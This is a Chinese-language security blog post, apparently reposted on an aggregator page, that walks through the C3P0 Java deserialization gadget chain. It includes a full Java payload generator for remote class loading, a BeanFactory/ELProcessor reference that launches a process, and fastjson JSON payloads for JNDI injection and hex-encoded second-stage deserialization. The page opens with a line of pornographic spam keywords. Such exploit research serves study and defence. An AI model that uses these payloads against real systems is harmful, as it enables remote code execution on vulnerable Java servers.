国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

Javaweb安全——反序列化漏洞-C3P0鏈

這篇具有很好參考價值的文章主要介紹了Javaweb安全——反序列化漏洞-C3P0鏈。希望對大家有所幫助。如果存在錯誤或未考慮完全的地方,請大家不吝賜教,您也可以點(diǎn)擊"舉報違法"按鈕提交疑問。

C3P0反序列化鏈

C3P0是一個開源的JDBC連接池,它實(shí)現(xiàn)了數(shù)據(jù)源與JNDI綁定,支持JDBC3規(guī)范和實(shí)現(xiàn)了JDBC2的標(biāo)準(zhǔn)擴(kuò)展說明的Connection和Statement池的DataSources對象。

即將用于連接數(shù)據(jù)庫的連接整合在一起形成一個隨取隨用的數(shù)據(jù)庫連接池(Connection pool)。

ysoserial代碼注釋中的調(diào)用鏈如下:

com.sun.jndi.rmi.registry.RegistryContext->lookup
com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject

自下向上的調(diào)用,從lookup看著像一個jndi注入,調(diào)用鏈比較短,直接靜態(tài)審計源碼試試。com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject還原connectionPoolDataSource屬性賦值

Javaweb安全——反序列化漏洞-C3P0鏈

跟到com.mchange.v2.naming.ReferenceIndirector的內(nèi)部類的方法ReferenceSerialized#getObject,可見是有個jndi,不過仔細(xì)查看源碼發(fā)現(xiàn)contextName其實(shí)是不可控的。

Javaweb安全——反序列化漏洞-C3P0鏈

看一下com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#writeObject的流程,了解connectionPoolDataSource屬性是怎么序列化的。

先try反序列化connectionPoolDataSource屬性,但這個屬性connectionPoolDataSource是ConnectionPoolDataSource類的沒有實(shí)現(xiàn) Serializable,并不能反序列化

Javaweb安全——反序列化漏洞-C3P0鏈

接著會拋出異常進(jìn)入catch,產(chǎn)生1個Reference對象,然后再將他作為ReferenceSerialized類的屬性。

Javaweb安全——反序列化漏洞-C3P0鏈

所以說只有reference屬性是可控的。

Javaweb安全——反序列化漏洞-C3P0鏈

遠(yuǎn)程類加載

reference屬性可控的話com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized#getObject中還有個點(diǎn)就可以利用了

Javaweb安全——反序列化漏洞-C3P0鏈

com.mchange.v2.naming.ReferenceableUtils#referenceToObject

Javaweb安全——反序列化漏洞-C3P0鏈

寫個自定義類PoolSource實(shí)現(xiàn)ConnectionPoolDataSource, Referenceable接口即可

import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class C3P0 {
    public static void main(String[] args) throws Exception {
        String className = "Evil";
        String url = "http://127.0.0.1:7999/";
        PoolBackedDataSource o = new PoolBackedDataSource();
        Field field = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
        field.setAccessible(true);
        field.set(o, new PoolSource(className, url));

        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(o);
        oos.close();

        // 本地測試觸發(fā)
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o0 = (Object)ois.readObject();
    }

    private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {

        private String className;
        private String url;

        public PoolSource ( String className, String url ) {
            this.className = className;
            this.url = url;
        }

        public Reference getReference () throws NamingException {
            return new Reference("test", this.className, this.url);
        }

        public PrintWriter getLogWriter () throws SQLException {return null;}
        public void setLogWriter ( PrintWriter out ) throws SQLException {}
        public void setLoginTimeout ( int seconds ) throws SQLException {}
        public int getLoginTimeout () throws SQLException {return 0;}
        public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
        public PooledConnection getPooledConnection () throws SQLException {return null;}
        public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}

    }
}

Javaweb安全——反序列化漏洞-C3P0鏈

BeanFactory本地工廠類

上面的利用鏈因?yàn)橐玫?code>URLClassLoader,所以在高版本jdk以及不出網(wǎng)的條件下無法利用。

com.mchange.v2.naming.ReferenceableUtils#referenceToObject這還有一個利用點(diǎn)

Javaweb安全——反序列化漏洞-C3P0鏈

很容易想到j(luò)ndi高版本注入用過的BeanFactory#getObjectInstance

Javaweb安全——反序列化漏洞-C3P0鏈

修改一下getReference方法返回的ref對象即可

        public Reference getReference () throws NamingException {
            ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
            ref.add(new StringRefAddr("forceString", "test=eval"));
            ref.add(new StringRefAddr("test", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','calc']).start()\")"));
            return ref;
        }

Javaweb安全——反序列化漏洞-C3P0鏈

fastjson中的利用

jndi注入

代替JdbcRowSetImpl鏈?zhǔn)褂?/p>

com.mchange.v2.c3p0.JndiRefForwardingDataSource#dereference還有個jndi的點(diǎn)

Javaweb安全——反序列化漏洞-C3P0鏈

這個方法只有一個調(diào)用

Javaweb安全——反序列化漏洞-C3P0鏈

找調(diào)用了 inner() 的setter 方法做跳板。

Javaweb安全——反序列化漏洞-C3P0鏈

{"@type":"com.mchange.v2.c3p0.JndiRefForwardingDataSource","jndiName":"rmi://127.0.0.1:1099/badClassName", "loginTimeout":0}

二次反序列化

Fastjson的低版本可用(<= 1.2.47)。

先看poc:

{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:hex編碼內(nèi)容;"}}

跟進(jìn)com.mchange.v2.c3p0.WrapperConnectionPoolDataSource#setUpPropertyListeners這個方法,其在構(gòu)造方法中調(diào)用

Javaweb安全——反序列化漏洞-C3P0鏈

該方法自定義了一個監(jiān)聽器重寫了vetoableChange方法

Javaweb安全——反序列化漏洞-C3P0鏈

查看重寫的vetoableChange方法,可見監(jiān)聽兩個屬性名:

  • connectionTesterClassName 屬性通過recreateConnectionTester方法重新實(shí)例化一個 ConnectionTester 對象也就無法被利用了

  • userOverridesAsString屬性使用 C3P0ImplUtils.parseUserOverridesAsString*來處理NewValue。
    截取從 HexAsciiSerializedMap 后的第二位到倒數(shù)第二位 中間的hex字符串,可以構(gòu)造形如 HexAsciiSerializedMap:hex_code; 的字符串

    Javaweb安全——反序列化漏洞-C3P0鏈

    Javaweb安全——反序列化漏洞-C3P0鏈

    然后調(diào)用SerializableUtils.fromByteArray方法進(jìn)行二次反序列化

    Javaweb安全——反序列化漏洞-C3P0鏈

    Javaweb安全——反序列化漏洞-C3P0鏈

接著跟進(jìn)userOverridesAsString屬性的setter方法,

Javaweb安全——反序列化漏洞-C3P0鏈

再到java.beans.VetoableChangeSupport#fireVetoableChange(java.beans.PropertyChangeEvent)

Javaweb安全——反序列化漏洞-C3P0鏈

調(diào)用鏈如下:

com.mchange.v2.c3p0.impl.WrapperConnectionPoolDataSourceBase#setUserOverridesAsString
	java.beans.VetoableChangeSupport#fireVetoableChange(java.lang.String, java.lang.Object, java.lang.Object)
	java.beans.VetoableChangeSupport#fireVetoableChange(java.beans.PropertyChangeEvent)
	java.beans.VetoableChangeListener#vetoableChange
		com.mchange.v2.c3p0.impl.C3P0ImplUtils#parseUserOverridesAsString
			com.mchange.v2.ser.SerializableUtils#fromByteArray(byte[])
			com.mchange.v2.ser.SerializableUtils#deserializeFromByteArray

參考

https://www.cnblogs.com/CoLo/p/15850685.html#hex%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%97%E8%8A%82%E5%8A%A0%E8%BD%BD%E5%99%A8

https://blog.csdn.net/rfrder/article/details/123208761文章來源地址http://www.zghlxwxcb.cn/news/detail-490897.html

到了這里,關(guān)于Javaweb安全——反序列化漏洞-C3P0鏈的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來自互聯(lián)網(wǎng)用戶投稿,該文觀點(diǎn)僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務(wù),不擁有所有權(quán),不承擔(dān)相關(guān)法律責(zé)任。如若轉(zhuǎn)載,請注明出處: 如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實(shí)不符,請點(diǎn)擊違法舉報進(jìn)行投訴反饋,一經(jīng)查實(shí),立即刪除!

領(lǐng)支付寶紅包贊助服務(wù)器費(fèi)用

相關(guān)文章

  • 網(wǎng)絡(luò)安全之反序列化漏洞分析

    網(wǎng)絡(luò)安全之反序列化漏洞分析

    FastJson 是 alibaba 的一款開源 JSON 解析庫,可用于將 Java 對象轉(zhuǎn)換為其 JSON 表示形式,也可以用于將 JSON 字符串轉(zhuǎn)換為等效的 Java 對象分別通過 toJSONString 和 parseObject/parse 來實(shí)現(xiàn)序列化和反序列化。 使用 對于序列化的方法 toJSONString() 有多個重載形式。 SerializeFeature : 通過設(shè)置

    2024年02月08日
    瀏覽(22)
  • Java安全研究——反序列化漏洞之CC鏈

    Java安全研究——反序列化漏洞之CC鏈

    apache?commons-collections組件下的反序列化漏洞,自從該組件被爆出漏洞后,許多安全研究員相繼挖掘到j(luò)ava多種組件的漏洞,危害嚴(yán)重。本人也是初學(xué)Java審計不久,技術(shù)薄弱,所以在此做一個cc鏈的學(xué)習(xí)總結(jié),如有錯誤還請大佬指出。 若本文有侵權(quán)行為,請立即私信,將全面修

    2024年02月04日
    瀏覽(29)
  • 滲透測試漏洞原理之---【不安全的反序列化】

    滲透測試漏洞原理之---【不安全的反序列化】

    為什么要序列化? 序列化,“將對象的狀態(tài)信息轉(zhuǎn)換為可以存儲或傳輸?shù)男问降倪^程”,這種形式?多為字節(jié)流、字符串、json 串。在序列化期間內(nèi),將對象當(dāng)前狀態(tài)寫?到臨時或永久性的存儲區(qū)。以后,就可以通過從存儲區(qū)中讀取或還原(反序列化)對象的狀態(tài),重新創(chuàng)建

    2024年02月09日
    瀏覽(23)
  • 網(wǎng)絡(luò)安全-JDBC反序列化漏洞與RCE

    網(wǎng)絡(luò)安全-JDBC反序列化漏洞與RCE

    ubuntu 20:ip 10.28.144.100,安裝docker、python3、docker-compose(可選)、Java(可選) windows11:ip 10.28.144.10,安裝了Java、wireshark、Navicat(可選)、IDEA(可選) Java中這些magic方法在反序列化的時候會自動調(diào)用: readObject() readExternal() readResolve() readObjectNoData() validateObject() finalize() Java

    2024年02月10日
    瀏覽(24)
  • 不安全的反序列化(php&java)及漏洞復(fù)現(xiàn)

    不安全的反序列化(php&java)及漏洞復(fù)現(xiàn)

    A8:2017-不安全的反序列化 A08:2021-Software and Data Integrity Failures 為什么要序列化? 序列化, 將對象的狀態(tài)信息轉(zhuǎn)換為可以存儲或傳輸?shù)男问降倪^程 ,這種形式大多為字節(jié)流、字符串、json 串。在序列化期間內(nèi),將對象當(dāng)前狀態(tài)寫入到臨時或永久性的存儲區(qū)。以后,就可以通過從

    2024年02月09日
    瀏覽(34)
  • 【java安全】Log4j反序列化漏洞

    【java安全】Log4j反序列化漏洞

    關(guān)于Apache Log4j Log4j是Apache的開源項(xiàng)目,可以實(shí)現(xiàn)對System.out等打印語句的替代,并且可以結(jié)合spring等項(xiàng)目,實(shí)現(xiàn)把日志輸出到控制臺或文件等。而且它還可以通過一個配置文件來靈活地進(jìn)行配置,而不需要修改應(yīng)用的代碼,滿足了大多數(shù)要求。 就是用來打印日志的 漏洞成因

    2024年02月11日
    瀏覽(24)
  • 小迪安全47WEB 攻防-通用漏洞&Java 反序列化&EXP 生成&數(shù)據(jù)提取&組件安全

    小迪安全47WEB 攻防-通用漏洞&Java 反序列化&EXP 生成&數(shù)據(jù)提取&組件安全

    # 知識點(diǎn): 1 、 Java 反序列化演示 - 原生 API 接口 2 、 Java 反序列化漏洞利用 -Ysoserial 使用 3 、 Java 反序列化漏洞發(fā)現(xiàn)利用點(diǎn) - 函數(shù) 數(shù)據(jù) 4 、 Java 反序列化考點(diǎn) - 真實(shí) CTF 賽題 - 審計分析 # 內(nèi)容點(diǎn): 1 、明白 -Java 反序列化原理 2 、判斷 -Java 反序列化漏洞 3 、學(xué)會 -Ysoserial 工具

    2024年04月10日
    瀏覽(60)
  • 【精選】PHP&java 序列化和反序列化漏洞

    目錄 首先 其次 技巧和方法

    2024年01月23日
    瀏覽(21)
  • 反序列化滲透與攻防(二)之Java反序列化漏洞

    JAVA反序列化漏洞到底是如何產(chǎn)生的? 1、由于很多站點(diǎn)或者RMI倉庫等接口處存在java的反序列化功能,于是攻擊者可以通過構(gòu)造特定的惡意對象序列化后的流,讓目標(biāo)反序列化,從而達(dá)到自己的惡意預(yù)期行為,包括命令執(zhí)行,甚至 getshell 等等。 2、Apache Commons Collections是開源小

    2023年04月17日
    瀏覽(24)
  • 反序列化漏洞及漏洞復(fù)現(xiàn)

    反序列化漏洞及漏洞復(fù)現(xiàn)

    問題 :為什么要序列化? 序列化,“將對象的狀態(tài)信息轉(zhuǎn)換為可以存儲或傳輸?shù)男问降倪^程”,這種形式大多為字節(jié)流、字符串、Json 串。在序列化期間內(nèi),將對象當(dāng)前狀態(tài)寫?到臨時或永久性的存儲區(qū)。以后,就可以通過從存儲區(qū)中讀取或還原(反序列化)對象的狀態(tài),重

    2024年02月09日
    瀏覽(27)

覺得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請作者喝杯咖啡吧~博客贊助

支付寶掃一掃領(lǐng)取紅包,優(yōu)惠每天領(lǐng)

二維碼1

領(lǐng)取紅包

二維碼2

領(lǐng)紅包